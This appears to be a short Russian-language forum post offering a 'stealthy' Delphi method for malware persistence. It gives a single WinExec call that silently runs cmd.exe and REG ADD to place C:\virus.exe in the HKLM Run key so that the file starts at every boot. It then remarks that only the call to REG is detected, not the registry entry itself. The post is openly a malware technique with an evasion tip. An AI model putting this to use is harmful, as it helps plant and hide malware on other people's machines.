Безпалевный способ на делфи:
winexec(PCHar('cmd.exe /c REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Volnov /t REG_SZ /d C:\virus.exe /f'), sw_hide);
Палится сам факт вызова программы REG, а запись в реестре нет.